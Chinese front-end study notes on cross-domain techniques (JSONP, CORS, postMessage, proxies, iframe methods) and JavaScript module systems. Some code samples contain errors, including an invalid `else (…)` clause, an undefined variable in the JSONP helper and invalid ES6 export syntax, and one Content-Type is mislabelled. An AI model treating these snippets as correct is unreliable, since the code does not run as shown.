xhr.responseType = '';
// 设置请求头
xhr.setRequestHeader('', '');
// 发送请求
xhr.send(null || new FormData || 'a=1&b=2' || 'json字符串');

前端跨域的几种解决办法

参考 segmentfault 前端常见跨域解决方案

什么是跨域?

跨域是指一个域下的文档或脚本试图去请求另一个域下的资源,这里跨域是广义的。
广义的跨域:

  1. 资源跳转: A链接、重定向、表单提交
  2. 资源嵌入: <link><script><img><frame>等dom标签,还有样式中background:url()@font-face()等文件外链
  3. 脚本请求: js发起的ajax请求、dom和js对象的跨域操作等

其实我们通常所说的跨域是狭义的,是由浏览器同源策略限制的一类请求场景。

什么是同源策略?

同源策略/SOP(Same origin policy)是一种约定,由Netscape公司1995年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击。所谓同源是指”协议+域名+端口”三者相同,即便两个不同的域名指向同一个ip地址,也非同源。

同源策略限制以下几种行为:

  1. Cookie、LocalStorage 和 IndexDB 无法读取
  2. DOM 和 JS对象无法获得
  3. AJAX 请求不能发送

常见跨域场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
URL                                      说明                是否允许通信
http://www.domain.com/a.js
http://www.domain.com/b.js 同一域名,不同文件或路径 允许
http://www.domain.com/lab/c.js

http://www.domain.com:8000/a.js
http://www.domain.com/b.js 同一域名,不同端口 不允许

http://www.domain.com/a.js
https://www.domain.com/b.js 同一域名,不同协议 不允许

http://www.domain.com/a.js
http://192.168.4.12/b.js 域名和域名对应相同ip 不允许

http://www.domain.com/a.js
http://x.domain.com/b.js 主域相同,子域不同 不允许
http://domain.com/c.js

http://www.domain1.com/a.js
http://www.domain2.com/b.js 不同域名 不允许

面试时选答

jsonp、iframe、postMessage、CORS、websocket、nginx代理、nodejs代理

跨域解决方案

1、 通过jsonp跨域
2、 postMessage跨域
3、 跨域资源共享(CORS)
4、 nginx代理跨域
5、 nodejs中间件代理跨域
6、 WebSocket协议跨域
7、 document.domain + iframe跨域
8、 location.hash + iframe
9、 window.name + iframe跨域

通过jsonp跨域

jsonp缺点:只能实现get一种请求。

具体内部逻辑参考:CSDN jsonp原理详解

  1. 原生js实现
    前端创建一个script标签,并将src设置为后端给的接口地址,插入到document即可自动发起请求(get请求)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    var script = document.createElement('script');
    script.type = 'text/javascript';

    // 传参并指定回调执行函数为onBack
    script.src = 'http://www.domain2.com:8080/login?user=admin&callback=onBack';
    document.head.appendChild(script);

    // 回调执行函数
    function onBack(res) {
    alert(JSON.stringify(res));
    }

    服务端返回如下(返回时即执行全局函数):
    Response Content-Type: application/javascript,所以可以立即执行。

    1
    onBack({"status": true, "user": "admin"})

    常见的Content-Type:
    1). text/plain: 纯文本格式
    2). text/xml: HTML格式
    3). text/html: HTML代码
    4). text/css: CSS代码
    5). image/png、image/jpeg、image/gif: 图片格式
    6). application/pdf: PDF格式
    7). application/msword: Word格式
    8). application/javascript: JavaScript格式(jsonp请求)
    9). application/json: JSON格式
    10). application/octet-stream: 二进制流数据(用户文件文件下载)
    11). application/x-www-form-urlencoded: 提交表单
    12). multipart/form-data: 文件上传

一个稍微标准的jsonp请求应该是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
/**
* @param {Object} opt
* @param {String} url: 接口地址
* @param {Object} data: 辅助字段
* @param {Number} time: 超时时间,ms
* @param {Function} success: 成功回调
* @param {Function} error: 失败回调
*/
function jsonp (opt) {
// 生成script并插入到body中
var script = document.createElement('script');
document.body.appendChild(script);

// 创建jsonp回调函数
var callbackName = '业务名_jsonp_' + new Date().getTime(); // 将回调方法放在方法体内部
opt.data['callback'] = callbackName; // 将回调函数放在data中传给后端
window[callbackName] = function (data) {
opt.success && opt.success(data); // 最终将数据传给success
}

// 设置script地址,发送get请求
if (opt.url.indexOf('?') > -1) {
script.src = opt.url + '&' + formatData(data);
} else {
script.src = opt.url + '?' +formatData(data);
}

// script一旦加载表明请求已经发送,可以开始移除相应的方法
script.onload = function () {
kill();
}
// 捕获到异常,移除相应的方法
script.onerror = function () {
kill();
}
// 监听超时
if (opt.time) {
script.timer = setTimeout(function () {
kill();
// 添加相应的toast反馈
}, opt.time);
}

// kill相关方法
function kill () {
clearTimeout(script.timer);
script.remove();
delete window[callbackName];
}

// 拼接data数据
function formatData () {
var arr = [];
for (var name in data) {
arr.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name]));
}
// 添加一个随机数,防止缓存
arr.push('v=' + random());
return arr.join('&');
}
}

  1. jquery ajax

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    $.ajax({
    url: 'http://www.domain2.com:8080/login',
    type: 'get',
    dataType: 'jsonp', // 请求方式为jsonp
    jsonpCallback: "onBack", // 自定义回调函数名
    data: {},
    success: function (res) {
    console.log(res);
    }
    });
  2. vue.js

    1
    2
    3
    4
    5
    6
    this.$http.jsonp('http://www.domain2.com:8080/login', {
    params: {},
    jsonp: 'onBack'
    }).then((res) => {
    console.log(res);
    });
  3. 服务端处理
    服务端的本质就是想办法再将reponse变成一段可执行的javascript代码,前端获取返回之后就会去调用设定好的全局方法,并且接收参数

    1
    onBack({status: 1, data: {}})
  4. 原理:script标签可跨域访问

postMessage跨域

postMessage是HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window属性之一,它可用于解决以下方面的问题:
a. 页面和其打开的新窗口的数据传递
b. 多窗口之间消息传递
c. 页面与嵌套的iframe消息传递
d. 上面三个场景的跨域数据传递

用法:postMessage(data,origin)方法接受两个参数
data:html5规范支持任意基本类型或可复制的对象,但部分浏览器只支持字符串,所以传参时最好用JSON.stringify()序列化。
origin: 协议+主机+端口号,也可以设置为”*”,表示可以传递给任意窗口,如果要指定和当前窗口同源的话设置为”/“。

  1. a.html:(http://www.domain1.com/a.html)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <iframe id="iframe" src="http://www.domain2.com/b.html" style="display:none;"></iframe>
    <script>
    var iframe = document.getElementById('iframe');
    iframe.onload = function() {
    var data = {
    name: 'aym'
    };
    // 向domain2传送跨域数据
    iframe.contentWindow.postMessage(JSON.stringify(data), 'http://www.domain2.com');
    };

    // 接受domain2返回数据
    window.addEventListener('message', function(e) {
    alert('data from domain2 ---> ' + e.data);
    }, false);
    </script>
  2. b.html:(http://www.domain2.com/b.html)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <script>
    // 接收domain1的数据
    window.addEventListener('message', function(e) {
    alert('data from domain1 ---> ' + e.data);

    var data = JSON.parse(e.data);
    if (data) {
    data.number = 16;

    // 处理后再发回domain1
    window.parent.postMessage(JSON.stringify(data), 'http://www.domain1.com');
    }
    }, false); // false默认为冒泡,true表示捕获
    </script>

跨域资源共享(CORS)

阮一峰 cors

普通跨域请求:只服务端设置 Access-Control-Allow-Origin 即可,前端无须设置,若要带cookie请求:前后端都需要设置。
目前,所有浏览器都支持该功能(IE8+:IE8/9需要使用 XDomainRequest 对象来支持CORS)),CORS也已经成为主流的跨域解决方案。

  1. 前端设置
    1.)原生ajax

    1
    2
    // 前端设置是否带cookie
    xhr.withCredentials = true;

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    var xhr = new XMLHttpRequest(); // IE8/9需用window.XDomainRequest兼容

    // 前端设置是否带cookie
    xhr.withCredentials = true;

    xhr.open('post', 'http://www.domain2.com:8080/login', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('user=admin');

    xhr.onreadystatechange = function() {
    if (xhr.readyState == 4 && xhr.status == 200) {
    alert(xhr.responseText);
    }
    };

    2.)jQuery ajax

    1
    2
    3
    4
    5
    6
    7
    8
    $.ajax({
    ...
    xhrFields: {
    withCredentials: true // 前端设置是否带cookie
    },
    crossDomain: true, // 会让请求头中包含跨域的额外信息,但不会含cookie
    ...
    });

    3.)Vue ajax

    1
    2
    3
    4
    5
    // axios
    axios.defaults.withCredentials = true

    // vue-resource
    Vue.http.options.credentials = true
  2. 服务端设置
    若后端设置成功,前端浏览器控制台则不会出现跨域报错信息,反之,说明没设成功。
    1.)Java后台

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    /*
    * 导入包:import javax.servlet.http.HttpServletResponse;
    * 接口参数中定义:HttpServletResponse response
    */

    // 允许跨域访问的域名:若有端口需写全(协议+域名+端口),若没有端口末尾不用加'/'
    response.setHeader("Access-Control-Allow-Origin", "http://www.domain1.com");

    // 允许前端带认证cookie:启用此项后,上面的域名不能为'*',必须指定具体的域名,否则浏览器会提示
    response.setHeader("Access-Control-Allow-Credentials", "true");

    // 提示OPTIONS预检时,后端需要设置的两个常用自定义头
    response.setHeader("Access-Control-Allow-Headers", "Content-Type,X-Requested-With");

    2.) Node.js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    var http = require('http');
    var server = http.createServer();
    var qs = require('querystring');

    server.on('request', function(req, res) {
    var postData = '';

    // 数据块接收中
    req.addListener('data', function(chunk) {
    postData += chunk;
    });

    // 数据接收完毕
    req.addListener('end', function() {
    postData = qs.parse(postData);

    // 跨域后台设置
    res.writeHead(200, {
    'Access-Control-Allow-Credentials': 'true', // 后端允许发送Cookie
    'Access-Control-Allow-Origin': 'http://www.domain1.com', // 允许访问的域(协议+域名+端口)
    /*
    * 此处设置的cookie还是domain2的而非domain1,因为后端也不能跨域写cookie(nginx反向代理可以实现),
    * 但只要domain2中写入一次cookie认证,后面的跨域接口都能从domain2中获取cookie,从而实现所有的接口都能跨域访问
    */
    'Set-Cookie': 'l=a123456;Path=/;Domain=www.domain2.com;HttpOnly' // HttpOnly的作用是让js无法读取cookie
    });

    res.write(JSON.stringify(postData));
    res.end();
    });
    });

    server.listen('8080');
    console.log('Server is running at port 8080...');

nginx代理跨域

  1. nginx配置解决iconfont跨域
    浏览器跨域访问js、css、img等常规静态资源被同源策略许可,但iconfont字体文件(eot|otf|ttf|woff|svg)例外,此时可在nginx的静态资源服务器中加入以下配置。

    1
    2
    3
    location / {
    add_header Access-Control-Allow-Origin *;
    }
  2. nginx反向代理接口跨域
    跨域原理: 同源策略是浏览器的安全策略,不是HTTP协议的一部分。服务器端调用HTTP接口只是使用HTTP协议,不会执行JS脚本,不需要同源策略,也就不存在跨越问题。
    实现思路:通过nginx配置一个代理服务器(域名与domain1相同,端口不同)做跳板机,反向代理访问domain2接口,并且可以顺便修改cookie中domain信息,方便当前域cookie写入,实现跨域登录。

    1.) nginx具体配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    #proxy服务器
    server {
    listen 81;
    server_name www.domain1.com;

    location / {
    proxy_pass http://www.domain2.com:8080; #反向代理
    proxy_cookie_domain www.domain2.com www.domain1.com; #修改cookie里域名
    index index.html index.htm;

    # 当用webpack-dev-server等中间件代理接口访问nignx时,此时无浏览器参与,故没有同源限制,下面的跨域配置可不启用
    add_header Access-Control-Allow-Origin http://www.domain1.com; #当前端只跨域不带cookie时,可为*
    add_header Access-Control-Allow-Credentials true;
    }
    }

    2.) 前端代码示例:

    1
    2
    3
    4
    5
    6
    7
    8
    var xhr = new XMLHttpRequest();

    // 前端开关:浏览器是否读写cookie
    xhr.withCredentials = true;

    // 访问nginx中的代理服务器
    xhr.open('get', 'http://www.domain1.com:81/?user=admin', true);
    xhr.send();

    3.) Nodejs后台示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    var http = require('http');
    var server = http.createServer();
    var qs = require('querystring');

    server.on('request', function(req, res) {
    var params = qs.parse(req.url.substring(2));

    // 向前台写cookie
    res.writeHead(200, {
    'Set-Cookie': 'l=a123456;Path=/;Domain=www.domain2.com;HttpOnly' // HttpOnly:脚本无法读取
    });

    res.write(JSON.stringify(params));
    res.end();
    });

    server.listen('8080');
    console.log('Server is running at port 8080...');

nodejs中间件代理跨域

node中间件实现跨域代理,原理大致与nginx相同,都是通过启一个代理服务器,实现数据的转发,也可以通过设置cookieDomainRewrite参数修改响应头中cookie中域名,实现当前域的cookie写入,方便接口登录认证。

WebSocket协议跨域

WebSocket protocol 是HTML5一种新的协议。它实现了浏览器与服务器全双工通信,同时允许跨域通讯,是server push技术的一种很好的实现。
原生 WebSocket API 使用起来不太方便,我们使用Socket.io,它很好地封装了webSocket接口,提供了更简单、灵活的接口,也对不支持webSocket的浏览器提供了向下兼容。

  1. 前端设置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <div>user input:<input type="text"></div>
    <script src="./socket.io.js"></script>
    <script>
    var socket = io('http://www.domain2.com:8080');

    // 连接成功处理
    socket.on('connect', function() {
    // 监听服务端消息
    socket.on('message', function(msg) {
    console.log('data from server: ---> ' + msg);
    });

    // 监听服务端关闭
    socket.on('disconnect', function() {
    console.log('Server socket has closed.');
    });
    });

    document.getElementsByTagName('input')[0].onblur = function() {
    socket.send(this.value);
    };
    </script>
  2. Nodejs socket后台:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    var http = require('http');
    var socket = require('socket.io');

    // 启http服务
    var server = http.createServer(function(req, res) {
    res.writeHead(200, {
    'Content-type': 'text/html'
    });
    res.end();
    });

    server.listen('8080');
    console.log('Server is running at port 8080...');

    // 监听socket连接
    socket.listen(server).on('connection', function(client) {
    // 接收信息
    client.on('message', function(msg) {
    client.send('hello:' + msg);
    console.log('data from client: ---> ' + msg);
    });

    // 断开处理
    client.on('disconnect', function() {
    console.log('Client socket has closed.');
    });
    });

document.domain + iframe跨域

此方案仅限主域相同,子域不同的跨域应用场景。

实现原理:两个页面都通过js强制设置 document.domain 为基础主域,就实现了同域。

  1. 父窗口:(http://www.domain.com/a.html)

    1
    2
    3
    4
    5
    <iframe id="iframe" src="http://child.domain.com/b.html"></iframe>
    <script>
    document.domain = 'domain.com';
    var user = 'admin';
    </script>
  2. 子窗口:(http://child.domain.com/b.html)

    1
    2
    3
    4
    5
    <script>
    document.domain = 'domain.com';
    // 获取父窗口中变量
    alert('get js data from parent ---> ' + window.parent.user);
    </script>

location.hash + iframe

实现原理: a与b跨域相互通信,通过中间页c来实现。
三个页面,不同域之间利用iframe的location.hash传值,相同域之间直接js访问来通信。

具体实现:A域:a.html -> B域:b.html -> A域:c.html,a与b不同域只能通过hash值单向通信,b与c也不同域也只能单向通信,但c与a同域,所以c可通过parent.parent访问a页面所有对象。

  1. a.html:(http://www.domain1.com/a.html)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <iframe id="iframe" src="http://www.domain2.com/b.html" style="display:none;"></iframe>
    <script>
    var iframe = document.getElementById('iframe');

    // 向b.html传hash值
    setTimeout(function() {
    iframe.src = iframe.src + '#user=admin';
    }, 1000);

    // 开放给同域c.html的回调方法
    function onCallback(res) {
    alert('data from c.html ---> ' + res);
    }
    </script>
  2. b.html:(http://www.domain2.com/b.html)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <iframe id="iframe" src="http://www.domain1.com/c.html" style="display:none;"></iframe>
    <script>
    var iframe = document.getElementById('iframe');

    // 监听a.html传来的hash值,再传给c.html
    window.onhashchange = function () {
    iframe.src = iframe.src + location.hash;
    };
    </script>
  3. c.html:(http://www.domain1.com/c.html)

    1
    2
    3
    4
    5
    6
    7
    <script>
    // 监听b.html传来的hash值
    window.onhashchange = function () {
    // 再通过操作同域a.html的js回调,将结果传回
    window.parent.parent.onCallback('hello: ' + location.hash.replace('#user=', ''));
    };
    </script>

window.name + iframe跨域

window.name 属性的独特之处:name值在不同的页面(甚至不同域名)加载后依旧存在,并且可以支持非常长的 name 值(2MB)。

  1. a.html:(http://www.domain1.com/a.html)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    var proxy = function(url, callback) {
    var state = 0;
    var iframe = document.createElement('iframe');

    // 加载跨域页面
    iframe.src = url;

    // onload事件会触发2次,第1次加载跨域页,并留存数据于window.name
    iframe.onload = function() {
    if (state === 0) {
    // 第1次onload(跨域页)成功后,切换到同域代理页面
    iframe.contentWindow.location = 'http://www.domain1.com/proxy.html';
    state = 1;
    } else (state === 1) {
    // 第2次onload(同域proxy页)成功后,读取同域window.name中数据
    callback(iframe.contentWindow.name);
    destoryFrame();
    }
    };

    document.body.appendChild(iframe);

    // 获取数据以后销毁这个iframe,释放内存;这也保证了安全(不被其他域frame js访问)
    function destoryFrame() {
    iframe.contentWindow.document.write('');
    iframe.contentWindow.close();
    document.body.removeChild(iframe);
    }
    };

    // 请求跨域b页面数据
    proxy('http://www.domain2.com/b.html', function(data){
    alert(data);
    });
  2. proxy.html:(http://www.domain1.com/proxy....)

    中间代理页,与a.html同域,内容为空即可。

  3. b.html:(http://www.domain2.com/b.html)

    1
    2
    3
    <script>
    window.name = 'This is domain2 data!';
    </script>

同源下不同标签的页面如何进行通信

localStorage

  1. localstorage 是浏览器多个标签共用的存储空间,所以可以用来实现多标签之间的通信(ps:session 是会话级的存储空间,每个标签页都是单独的)。
  2. onstorage 以及 storage 事件,针对都是非当前页面对 localStorage 进行修改时才会触发,当前页面修改 localStorage 不会触发监听函数。然后就是在对原有的数据的值进行修改时才会触发,比如原本已经有一个key为a 值为b的 localStorage,你再执行:localStorage.setItem('a', 'b')代码,同样是不会触发监听函数的。
  3. 要访问一个localStorage对象,页面必须来自同一个域名(子域名无效),使用同一种协议,在同一个端口上。
    1
    2
    3
    window.onstorage = (e) => {console.log(e)}
    // 或者这样
    window.addEventListener('storage', (e) => console.log(e))

websocket

h5 sharedWorker


输出长度为100的数组

不使用loop循环输入长度为100的数组,且每项的值等于它的下标,即输出:[0, 1, 2, 3, 4, 5, …];

首先假设可以使用循环,我们可以这样做:

1
2
3
4
let arr = [];
for (let i = 0; i < 100; i++) {
arr.push(i);
}

当不可以使用循环时,我们可能会想到使用 setInterval 定时器来实现:

1
2
3
4
5
6
let arr = [],
i = 0;

const interval = setInterval(() => {
i < 100 ? arr.push(i++) : clearInterval(interval);
}, 0);

虽然这样可以实现,但是实际上使用定时器的效率并不高,而且本题考查的也不是定时器。

我们可以使用 map 高阶函数来实现

1
2
3
4
5
let arr = new Array(100);

arr = arr.map((item, index) => {
return index;
});

但是从控制键查看发现并没有得到我们需要的结果,原来 JavaScript 数组是稀疏数组,通过 new Array() 创建的数组虽然有 length 属性,但实际上它是一个空数组,并不存在真实的元素,所以使用 map 来遍历是不可行的。我们可以通过一些手段先把它转成数组,然后使用 map 方法。

比如 es5new Array(100).join(',').split(',')
es6fill 方法:new Array(100).fill('')

1
2
3
4
5
6
let arr = new Array(100).join(',').split(',');
console.log(arr)

arr = arr.map((item, index) => {
return index;
});

AMD、CMD、CommonJS、ES6模块化

AMD(异步模块定义)、CMD(通用模块定义)、CommonJsES5 中提供的模块化编程的方案
RequireJS 遵循的是 AMD
SeaJS 遵循的是 CMD
CommonJS 是服务器端js模块化的规范,NodeJS 是这种规范的实现
import/exportES6 中提出的模块化方案

AMD

AMDRequireJS 在推广过程中对模块定义的规范化产出,它是一个概念,RequireJS 是对这个概念的实现。
AMD 是一个组织,RequireJS 是在这个组织下自定义的一套脚本语言。

AMD 规范通过 define 方法去定义模块,通过 require 方法去加载模块:

RequireJS: 通过 define() 函数定义,第一个参数是一个数组,里面定义一些需要依赖的包,第二个参数是一个回调函数,通过变量来引用模块里面的方法,最后通过 return 来输出。

  • 案例1
    define定义模块:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    // module1.js
    // 定义独立的模块
    define({
    methodA: function() {
    console.log('我是module1的methodA');
    },
    methodB: function() {
    console.log('我是module1的methodB');
    }
    });

    // module2.js
    // 另一种定义独立模块的方式
    define(function () {
    return {
    methodA: function() {
    console.log('我是module2的methodA');
    },
    methodB: function() {
    console.log('我是module2的methodB');
    }
    };
    });

    // module3.js
    // 定义非独立的模块(这个模块依赖其他模块),导入依赖时后缀名可省略
    define(['module1', 'module2.js'], function(m1, m2) {
    return {
    methodC: function() {
    m1.methodA();
    m2.methodB();
    }
    };
    });

    再定义一个 main.js,去加载这些个模块,require加载:

    1
    2
    3
    require(['module3.js'], function(m3){
    m3.methodC();
    });

    使用方法1:

    1
    2
    <!-- 等号右边的main指的main.js,后缀名可省略,表示入口文件 -->
    <script data-main="main.js" src="require.js"></script>

    使用方法2:

    1
    2
    <script src="require.js"></script>
    <script src="main.js"></script>
  • 案例2

    设置一个全局的配置,这有利于在大型的项目中使用这种配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <script src="require.js"></script>
    <script src="main.js"></script>

    <script>
    // 用require引入要引入的模块,[]:里面为引入的名称,已经在main.js里面的paths设置好了
    // function()小括号里面对应[]里面值,按顺序在()给变量名
    // jquery一般用 $, bootstrap模块没有输出,函数里面可以不用变量

    // 在使用的时候,只需要require我们所需的依赖即可
    require(['jquery','bootstrap'],function ($) {
    $('#myModal').on('shown.bs.modal', function () {
    $('#myInput').focus()
    });
    });
    </script>

    main.js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    // 全局配置
    require.config({
    // 根路径设置,paths下面全部都是根据baseUrl的路径去设置
    baseUrl:'./js/',
    paths:{
    // 引入jQuery
    jquery:'plugin/jquery',
    // 引入bootstrap
    bootstrap:'plugin/bootstrap',
    // a.js
    a:'a',
    // b.js
    b:'b',
    // 引入c.js
    c:'c'
    },
    // 用来配置不兼容的模块,意思是:该模块没有module.exports,
    // jquery就有module.exports输出值
    shim:{
    //bootstrap没有module.exports输出值,所以得放在shim
    bootstrap:{
    //bootstrap需要依赖jquery,所以得加deps
    deps:["jquery"]
    // 如果该模块加载进来,需要输出一个值,那就用exports来设置,这里不用设置
    // exports:''
    }
    },
    //map"告诉RequireJS在任何模块之前,都先载入这个模块
    map: {
    // 这里没有设置,举个例子
    // '*': {
    // 'css': 'plugins/require-css/css'
    // }
    }
    });

    output:

    1
    2
    我是module1的methodA
    我是module2的methodB

CMD

CMDSeaJS(淘宝) 在推广过程中对模块定义的规范化产出,它是一个概念,SeaJS 是对这个概念的实现。
通过 define() 定义,没有依赖前置。

1
2
3
4
5
6
7
define(function(require, exports, module) {
var a = require('./a'); // 依赖可以就近书写
a.doSomething();

var b = require('./b');
b.doSomething();
});

CMD中输入输出都是用 define 来定义的,只是输出的时候在 define 内部调用的是 export.test = ***,输入的时候 define 内部调用的是 require('./module.js')

  • 案例1

    index.html

    1
    2
    3
    4
    5
    6
    <h1 id="title">seajs demo</h1>

    <script src="https://cdn.bootcss.com/seajs/3.0.3/sea.js"></script>
    <script>
    seajs.use('./main.js'); // 通过seajs.use加载main.js文件
    </script>

    main.js

    1
    2
    3
    4
    define(function (require, exports, module) {
    var title = document.getElementById('title');
    title.innerHTML = "yes it works in demo1";
    });

    output:

    1
    "seajs demo" 会被替换成 "yes it works in demo1"
  • 案例2

    index.html

    1
    2
    3
    4
    5
    6
    <h1 id="title">seajs demo</h1>

    <script src="https://cdn.bootcss.com/seajs/3.0.3/sea.js"></script>
    <script>
    seajs.use('./main.js'); // 通过seajs.use加载main.js文件
    </script>

    module1.js

    1
    2
    3
    4
    5
    define(function (require, exports, module) {
    console.log(exports); // export: {}
    var textContent = 'yes it works in demo2';
    exports.text = textContent; // 将需要输出的值存储在exports对象中,再输出
    });

    module2.js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    define(function (require, exports, module) {
    console.log(exports, module);
    // export: {}
    // module: {dependencies: [], deps: {}, id: "http://127.0.0.1:8080/module2.js", uri: id: "http://127.0.0.1:8080/module2.js", status: 6}

    exports.methodObj = {
    methodA: function () {
    console.log('我是module2的methodA')
    },
    methodB: function () {
    console.log('我是module2的methodB')
    },
    };
    });

    main.js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    define(function (require, exports, module) {
    var module1 = require('./module1.js'); // 导入,注意require导入的是一个对象
    var title = document.getElementById('title');
    title.innerHTML = module1.text;

    var module2 = require('./module2.js');
    var module2Method = module2.methodObj;
    console.log(module2Method.methodA());
    console.log(module2Method.methodB());
    });

    output:

    1
    2
    3
    4
    "seajs demo" 会被替换成 "yes it works in demo2"

    我是module2的methodA
    我是module2的methodB
  • 案例2(设置回调函数)

    适用于同时引用多个模块时,通过回调参数获取到相应模块的输出

    index.html

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <h1 id="title">seajs demo</h1>

    <script src="https://cdn.bootcss.com/seajs/3.0.3/sea.js"></script>
    <script>
    seajs.use(['main', 'jquery'], function(main, $) {
    $('#title').on('click', function () {
    console.log(main.showLog())
    });
    });
    </script>

    main.js

    1
    2
    3
    4
    5
    6
    define(function (require, exports, module) {
    var showLog = function () {
    console.log('title clicked');
    }
    exports.showLog = showLog; // 输出showLog方法
    });
  • 案例3(设置别名等config)

    index.html

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <script src="https://cdn.bootcss.com/seajs/3.0.3/sea.js"></script>
    <script>
    seajs.config({
    alias:{ // alias 用于设置别名
    // 引入jQuery
    jquery:'plugin/jquery',
    // 引入bootstrap
    bootstrap:'plugin/bootstrap',
    // a.js
    a:'a',
    // b.js
    b:'b',
    // 引入c.js
    c:'c'
    }
    });

    seajs.use('./main.js'); // 通过seajs.use加载main.js文件
    </script>

    某个第三方插件,如jquery

    1
    2
    3
    define(function (require, exports, module) {
    // jquery 源码
    });

    main.js

    1
    2
    3
    4
    define(function (require, exports, module) {
    var $ = require('jquery');
    $('#title').text(changeText.init());
    });

AMD、CMD的区别

  • 对于依赖的模块,AMD 是提前执行,CMD 是延迟执行。不过 RequireJS 从 2.0 开始,也改成可以延迟执行(根据写法不同,处理方式不同)。CMD 推崇 as lazy as possible(尽可能的懒加载,也称为延迟加载,即在需要的时候才加载)。
  • AMD 推崇依赖前置,CMD 推崇依赖就近。
  • AMDAPI 默认是一个当多个用,CMDAPI 严格区分,推崇职责单一。比如 AMD 里,require 分全局 require 和局部 require,都叫 requireCMD 里,没有全局 require,而是根据模块系统的完备性,提供 seajs.use 来实现模块系统的加载启动。CMD 里,每个 API 都简单纯粹。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// AMD 默认推荐的是
define(['./a', './b'], function(a, b) { // 依赖必须一开始就写好
a.doSomething();
b.doSomething();
});

// CMD
define(function(require, exports, module) {
var a = require('./a'); // 依赖可以就近书写
a.doSomething();

var b = require('./b');
b.doSomething();
});

CommonJS

CommonJS 规范是通过 module.exports 来定义的,在前端浏览器中,并不支持 module.exportsNodejs 端是使用 CommonJS 规范的,前端浏览器一般使用 AMDCMDES6等定义模块化开发的。

1
2
3
4
5
6
var x = 5;
var addX = function (value) {
return value + x;
};
module.exports.x = x;
module.exports.addX = addX;

为了方便,Node 为每个模块提供一个 exports 变量,指向 module.exports,相当于在文件的开头定义了:

1
var exports = module.exports;

案例:

math.js:

1
2
3
4
5
6
7
8
// 累加函数
exports.add = function() {
var sum = 0, i = 0, args = arguments, len = args.length;
while (i < len) {
sum += args[i++];
}
return sum;
};

increment.js:

1
2
3
4
var add = require('math').add;
exports.increment = function(val) {
return add(val, 1);
};

index.js:

1
2
var increment = require('increment').increment;
var a = increment(1); // 2

一个单独的文件就是一个模块。每一个模块都是一个单独的作用域,也就是说,在该模块内部定义的变量,无法被其他模块读取,除非定义为 global 对象的属性。

输出模块变量的最好方法是使用 module.exports 对象。

加载模块使用 require 方法,该方法读取一个文件并执行,返回文件内部的 module.exports对象。

ES6

es6 中使用 import/export 来进行导入导出

  • 示例:
    lib.js导出:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    //导出常量
    export const sqrt = Math.sqrt;

    //导出函数
    export function square(x) {
    return x * x;
    };

    //导出函数
    export function diag(x, y) {
    return sqrt(square(x) + square(y));
    }

    main.js导入:

    1
    2
    3
    4
    import { square, diag } from './lib';

    console.log(square(11)); // 121
    console.log(diag(4, 3)); // 5
  • 特殊语法
    1、我们可以使用 export default a 来默认导出一个模块,相当于匿名导出

    common.js导出:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    // 设定一个默认输出模块
    export default openApp() {
    // ***
    };

    // 除了一个默认的模块之外,其余的使用正常的导出
    export showAlert = function () {
    // ***
    };

    export showToast = function () {
    // ***
    };

    main.js导入:

    1
    2
    3
    4
    5
    6
    // 注:对于默认导出的模块,我们可以另行设置一个名字,其他的必须与导出时的名字一致
    import open_app, { showAlert, showToast } from './common.js';

    open_app();
    showAlert();
    showToast();

    2、在 export 导出 或 import 导入的时候使用 xx as yy 来设置一个别名
    2.1 导出时设置别名:

    common.js:

    1
    2
    3
    4
    5
    6
    7
    const showAlert = function () {
    // ***
    };

    export {
    showAlert as show_alert,
    };
